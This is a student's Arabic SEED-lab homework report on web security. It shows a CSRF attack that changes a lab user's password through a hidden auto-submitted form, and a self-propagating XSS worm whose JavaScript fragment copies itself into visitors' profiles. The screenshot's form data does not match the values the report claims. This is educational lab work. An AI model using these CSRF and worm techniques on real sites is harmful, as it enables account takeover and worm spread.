

# تقرير وظيفة الأمان السيبراني الثانية

## أمن تطبيقات الويب (Web Application Security)

بيئة العمل: مختبرات SEED Ubuntu

اسم الطالب: عمران خلف الريదان

الرقم الجامعي: 1722204157

تاريخ التسليم: 2026 2 january

### المهمة الأولى: هجوم تزوير الطلب عبر المواقع (CSRF)

#### بناء الهجوم

تم إنشاء صفحة ويب خبيثة تحتوي على كود JavaScript لتنفيذ هجوم CSRF. الصفحة تظهر "صفحة Not Found 404" لتضليل المستخدم بينما تنفذ الهجوم في الخلفية.

#### الهدف المحقق

تم تغيير كلمة المرور الخاصة بالمستخدم "Alice" إلى:

omran\_1722204157

#### تحليل آلية العمل

## آلية عمل الهجوم:

- استغلال جلسة المستخدم المصادق عليها مع الموقع المستهدف
- تنفيذ JavaScript تلقائياً عند زيارة الصفحة الخبيثة
- إنشاء نموذج مخفي يحتوي على معلمات تغيير كلمة المرور
- إرسال النموذج تلقائياً إلى خادم الموقع المستهدف
- تعامل الخادم مع الطلب كأنه صادر من المستخدم نفسه

تحليل طلب HTTP:

**طريقة الطلب:** POST

**الرابط المستهدف:**

<http://www.csrflabelgg.com/action/usersettings/save>

**المعلمات:**

```
guid = "42"
name = "Alice"
language = "en"
email = "omranalrbidan@gmail.com"
password = "omran_1722204157"
password2 = "omran_1722204157"
```

**نوع المحتوى:** application/x-www-form-urlencoded

## إثبات النجاح

لقطة شاشة تثبت نجاح تغيير كلمة المرور:

Activity : CSRF Lab Site - Mozilla Firefox

All Site Activity | Page not fo | All Site Acti | All Site Acti | All Site Acti | +

Search your computer

www.csrflabelgg.com/activity 80% Account »

# CSRF Lab Site

Activity Blogs Bookmarks Files Groups More »

Password changed

## All Site Activity

All Mine Friends

Filter Show All

No activity

Search



Alice

Blogs

Bookmarks

Files

Pages

Wire posts

Powered by Elgg

Alice's settings : CSRF Lab Site | All Site Activity : CSRF Lab Site | +

www.csrflabelgg.com/settings 80% Account »

Inspect Cons Debug {} Style Ec Perform Mem Netw Storage Cookies Params Response Timings

All HTML CSS JS XHR Fonts Images Media WS Persist Logs Disable cache

All Filter URLs

| Sta... | Meth... | Fil...   | Dc... | Cause      | Ty...  |
|--------|---------|----------|-------|------------|--------|
| 202    | POST    | save     | ✓...  | document   | htm... |
| 200    | GET     | alice    | ✓...  | document   | htm... |
| 200    | GET     | Font...  | ✓...  | stylesheet | css    |
| 200    | GET     | elgg...  | ✓...  | stylesheet | css    |
| 200    | GET     | color... | ✓...  | stylesheet | css    |
| 200    | GET     | jque...  | ✓...  | script     | js     |
| 200    | GET     | jque...  | ✓...  | script     | js     |
| 200    | GET     | requ...  | ✓...  | script     | js     |
| 200    | GET     | requ...  | ✓...  | script     | js     |
| 200    | GET     | elgg.js  | ✓...  | script     | js     |
| 200    | GET     | 42to...  | ✓...  | img        | jpeg   |
| 200    | GET     | 42tin... | ✓...  | img        | jpeg   |
| 200    | GET     | font...  | ✓...  | font       | font   |
| 200    | GET     | en.js    | ✓...  | script     | js     |

53 requests | 2.30 MB / 817.87 KB transferred

Headers Cookies Params Response Timings

Filter request parameters

Form data

\_elgg\_token: e2JdVRplejU9DiciBk2WMA  
\_elgg\_ts: 1767286509  
current\_password: seedalice  
email: alialrbidan@gmail.com  
guid: 42  
language: en  
name: Alice  
password: ali\_1721122916  
password2: ali\_1721122916

## المهمة الثانية: هجوم البرمجة عبر المواقع ذاتي الانتشار (Self-Propagating XSS)

### تطوير الكود الخبيث

تم تطوير كود ثغرة XSS ليكون ذاتي الانتشار. الكود ينفذ التالي:

- يضيف المستخدم "Charlie" كصديق تلقائياً عند زيارة الصفحة
- يعرض رسالة تأكيد للمستخدم تفيد بنجاح إضافة الصديق
- يتكرر ذاتياً وينتقل إلى الملفات الشخصية للمستخدمين الآخرين

### آلية الانتشار

#### آلية التكرار الذاتي:

- يستخرج الكود البرمجي نفسه من عنصر script الحالي
- يقوم بتشغير الكود بشكل مناسب للإدراج في حقل الوصف
- يرسل طلب POST لتعديل وصف المستخدم الحالي
- يضيف الكود المشفر إلى وصف المستخدم مع النص "Samy is my hero"
- يستئتي المستخدم "Charlie" (ID: 46) لمنع الحلقات اللانهائية

#### دورة الانتشار:

1. المستخدم alice يزور صفحة تحتوي على الدودة (charlie)
2. تضاف "Charlie" تلقائياً كصديق
3. تنسخ الدودة نفسها إلى وصف المستخدم الزائر (alice)
4. عند زيارة أي مستخدم آخر (samy) لم ملف هذا المستخدم، تنتقل الدودة إليه
5. تتكرر الدورة مع كل مستخدم جديد

### إثبات الانتشار

# 1- لقطة شاشة تظهر الكود الموجود في حقل الـ about في profile

The screenshot shows a Mozilla Firefox browser window with the title bar "le : XSS Lab Site - Mozilla Firefox". The address bar displays "Edit profile : XSS Lab Site" and the URL "www.xsslabelgg.com/profile/charlie/edit". The page content is titled "XSS Lab Site" and "Edit profile". Under the "Display name" section, the value "Charlie" is entered. In the "About me" section, there is a code editor containing the following JavaScript code:

```
var content = token + ts + name + gesc + quo;  
  
if (elag.session.user.uid != 46) {  
    console.log("Propagating worm to user profile...");  
    var Ajax2 = new XMLHttpRequest();  
    Ajax2.open("POST", sendurl, true);  
    Ajax2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
    Ajax2.send(content);  
}  
}
```

2- هنا قام alice بزيارة charlie profile بمجرد الدخول للصفحة أصبح صديق charlie وانتقلت ثمرة ال XSS الى بروفايل alice

XSS Lab Site - Mozilla Firefox

File Edit View History Bookmarks Tools Help

Charlie : XSS Lab Site New Tab

www.xsslabelgg.com/profile/charlie

Most Visited SEED Labs Sites for Labs

Account >

# XSS Lab Site

Charlie has been added as your friend!



**Charlie**  
About me

Remove friend  
Send a message

3 - بعد ذلك قام samy بزيارة بروفايل alice فاصبح صديق

XSS Lab Site - Mozilla Firefox

File Edit View History Bookmarks Tools Help

Newest members : XSS Lab Site Alice : XSS Lab Site

www.xsslabelgg.com/profile/alice

Most Visited SEED Labs Sites for Labs

Account >

# XSS Lab Site

Charlie has been added as your friend!



**Alice**  
About me  
Samy is my hero

Add friend  
Send a message

---

تم إنشاء التقرير بواسطة: عمران خلف الرييدان  
الأمن السيبراني - التقرير الثاني